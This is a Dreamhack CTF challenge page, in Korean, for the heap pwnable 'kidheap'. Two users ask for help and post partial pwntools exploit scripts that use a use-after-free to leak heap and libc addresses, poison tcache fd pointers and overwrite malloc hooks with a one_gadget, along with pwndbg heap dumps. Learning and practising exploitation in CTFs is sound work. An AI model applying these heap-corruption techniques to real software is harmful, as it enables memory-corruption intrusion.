LEVEL 5

kidheap

pwnable
  • 문제 정보
  • 풀이 13
  • 난이도 투표 20
  • 질문 4
  • 최근 풀이자 58
  • 댓글 1
해당 문제는 Dreamhack Invitational 2025 에 출제된 문제입니다.

문제 설명

No babyheap,
No childheap,
No adultheap,

Just kidheap.

난이도 투표 20

질문 3

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
문제 풀이 방향에 대한 질문(스포 포함)
취약점을 발견해서 이것저것 exploit을 도전해봤습니다. 분석해보면 HEAP은 크게 노트를 하나 할당할 때마다 노트 구조체 하나(0x20사이즈 고정) 노트 이름 하나(가변 사이즈) 노트 내용 하나(0x100사이즈 고정) 이 세개가 할당되는 것을 확인했습니다. 결론적 UAF를 발견했고 이를 이용해서 HEAP(이름,내용)의 FD LEAK HEAP(이름,내용)의 FD 변조 에 성공하였습니다. FD변조가 되었기 때문에 다음 Heap 할당시에 변조된 FD 위치에 할당이 되고 그것을 이용한 AAW로 Hook등을 덮어서 Exploit을 하는 것이 해당 문제의 방향이 아닐까 생각하고 있습니다. 여기서 의문은 FD로 Program Base를 Leak할수 있는지. Heap FD의 변조가 제대로 되지 않는 이유가 궁금합니다. HEAP 및 Bins 디버그 내용 공유드립니다. pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x62f7e2075000 Size: 0x291 Allocated chunk | PREV_INUSE Addr: 0x62f7e2075290 Size: 0x31 Allocated chunk | PREV_INUSE Addr: 0x62f7e20752c0 Size: 0x111 Allocated chunk | PREV_INUSE Addr: 0x62f7e20753d0 Size: 0x31 Free chunk (tcachebins) | PREV_INUSE Addr: 0x62f7e2075400 Size: 0x31 fd: 0x62f1cd797525 Free chunk (tcachebins) | PREV_INUSE Addr: 0x62f7e2075430 Size: 0x111 fd: 0xffdebcbaaaaaaaaa Free chunk (tcachebins) | PREV_INUSE Addr: 0x62f7e2075540 Size: 0x31 fd: 0x62f7e2075440 Free chunk (tcachebins) | PREV_INUSE Addr: 0x62f7e2075570 Size: 0x31 fd: 0x62f1cd7976b5 Free chunk (tcachebins) | PREV_INUSE Addr: 0x62f7e20755a0 Size: 0x111 fd: 0x62f1cd797435 Free chunk (tcachebins) | PREV_INUSE Addr: 0x62f7e20756b0 Size: 0x31 fd: 0x62f1cd797465 Top chunk | PREV_INUSE Addr: 0x62f7e20756e0 Size: 0x20921 pwndbg> bins tcachebins 0x30 [ 6]: 0x62f7e2075580 —▸ 0x62f7e20756c0 —▸ 0x62f7e2075410 —▸ 0x62f7e2075550 ◂— 0x62f1cd797435 0x110 [ 3]: 0x62f7e20755b0 —▸ 0x62f7e2075440 ◂— 0xffdebcbc85d48adf fastbins empty unsortedbin empty smallbins empty largebins empty 여기서 0x110사이즈 Tcache의 Bins 최하단이 가르키는 곳이 0xffdebcbaaaaaaaaa이 되지 않는 이유가 궁금합니다. 제가 현재 작성한 Exploit을 첨부드립니다. from pwn import * 설정 context.arch = 'amd64' context.log_level = 'debug' 바이너리 실행 p = process('./prob') #p = remote("host3.dreamhack.games",23474) e = ELF("./prob") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") def create_note(idx, name_size, name, content): p.sendlineafter(b"> ", b"1") p.sendlineafter(b"idx > ", str(idx).encode()) p.sendlineafter(b"name size > ", str(name_size).encode()) p.sendlineafter(b"name > ", name) p.sendafter(b"content > ", content) def delete_note(idx): p.sendlineafter(b"> ", b"2") p.sendlineafter(b"idx > ", str(idx).encode()) def edit_note(idx, name, content): p.sendlineafter(b"> ", b"3") p.sendlineafter(b"idx > ", str(idx).encode()) p.sendlineafter(b"name > ", name) p.sendlineafter(b"content > ", content) def print_note(idx): p.sendlineafter(b"> ", b"4") p.sendlineafter(b"idx > ", str(idx).encode()) p.recvuntil(b"name : ") name = p.recvline().strip() p.recvuntil(b"content : ") content = p.recvline().strip() return name, content create_note(0, 32, b'AAAA', b'B'*0x10) create_note(1, 32, b'AAAA', b'B'*0x10) create_note(2, 32, b'AAAA', b'B'*0x10) delete_note(0) delete_note(0) p.sendlineafter(b"> ", b"4") p.sendlineafter(b"idx > ", str(0).encode()) p.recvuntil(b"name : ") name = p.recv(5)+b'\x00\x00\x00' name = u64(name)*0x1000 delete_note(1) delete_note(1) delete_note(2) delete_note(2) print(hex(name)) edit_note(0,p64(name+0x440),p64(name+0x440)) edit_note(1,p64(name+0x440),b'\xAA\xAA\xAA\xAA\xBA\xBC\xDE\xFF') gdb.attach(p) p.interactive() `
avatar LM_R3dzone
문제 풀이 관련 질문드립니다.
문제 풀이 중 정말 이해가 안 가는 부분이 있어서 질문드립니다. 일단, 문제 속 핵심 취약점으로 보이는 부분은 금방 찾았고, 이 취약점을 이용해서 libc base랑 heap base까지 얻는 것은 성공했습니다. 그리고, 얻은 주소를 이용해서 해제된 메모리의 fd를 조작해서 현재 할당된 메모리 주소로 조작한 뒤에, 그 할당된 메모리 주소를 free 시켜서 아래 사진과 같이 메모리가 서로 연결되게 구현하였습니다. image.png 이렇게 되면, 동일한 청크가 연결된 부분이 후에 계속 할당될 때는 할당된 메모리이면서 해제된 메모리이기 때문에 AAW가 일어나야 할 것 같은데, 그런 현상이 일어나지 않았습니다. 어디서부터 잘못된 것인지 정말 궁금합니다. 아래 코드는 제가 익스플로잇할 때 사용했던 코드입니다. from pwn import * #p = remote('host3.dreamhack.games', 20564) p = process('./prob', env={'LD_PRELOAD' : './libc.so.6'}) libc = ELF('./libc.so.6') def malloc(idx, name_size, name, content): p.sendlineafter('> ', str(1)) p.sendlineafter('> ', str(idx)) p.sendlineafter('> ', str(name_size)) p.sendlineafter('> ', name) p.sendlineafter('> ', content) def free(idx): p.sendlineafter('> ', str(2)) p.sendlineafter('> ', str(idx)) def edit(idx, name_content, content): p.sendlineafter('> ', str(3)) p.sendlineafter('> ', str(idx)) p.sendafter('> ', name_content) p.sendafter('> ', content) def print_content(idx): p.sendlineafter('> ', str(4)) p.sendlineafter('> ', str(idx)) p.recvuntil('name : ') libc_content = p.recvline()[:-1] print('[+] Name_Content:', libc_content) p.recvuntil('content : ') heap_content = p.recvline()[:-1] print('[+] Content:', heap_content) return u64(libc_content + b'\x00'*2), u64(heap_content + b'\x00' * 3) def encrypt_base(heap_base, address): return address ^ (heap_base >> 12) malloc(0, 1280, "a", "a") malloc(1, 64, "a", "a") free(0) free(0) libcf, heap_base = print_content(0) libc_base = libcf - 0x21dce0 libc_base += 0x3000 heap_base *= 0x1000 free_hook = libc_base + libc.symbols['__malloc_hook'] one_gadget = libc_base + 0xebc81 print('[+] Libc_base =', hex(libc_base)) print('[+] Heap_base =', hex(heap_base)) #next_chunk = encrypt_base(heap_base, heap_base + 0x8e0) next_chunk2 = encrypt_base(heap_base, heap_base + 0x920) free(1) free(1) edit(0, p64(libcf), p64(next_chunk2)) malloc(1, 64, "a", p64(free_hook)) malloc(1, 64, "a", "a") malloc(1, 64, "A", "a") malloc(1, 64, "a", "A") pause() p.interactive() `
avatar Garden_
LEVEL 5

kidheap

pwnable

출제자 정보

avatar
Dreamhack
대표 업적 없음

First Blood!

avatar
keymoon
2024 Invitational CHAMPION
출제된 지 30분 만에 풀이 완료!

최근 풀이자 58

avatar
yadohyun
대표 업적 없음
avatar
장종민
대표 업적 없음
avatar
Garden_
시스템 해킹 입문
avatar
*ptr
대표 업적 없음
avatar
j3tt
대표 업적 없음
IQtrekeR
대표 업적 없음
Unbbal
조커
YEONBA
.HACK 2025 참가자
kileak
대표 업적 없음
avatar
baldowl
대표 업적 없음

댓글 1

avatar
wyv3rn
무플 방지 위원회장
30분 만에 푼 이유가 있었네... 돌아도 너무 돌아갔다.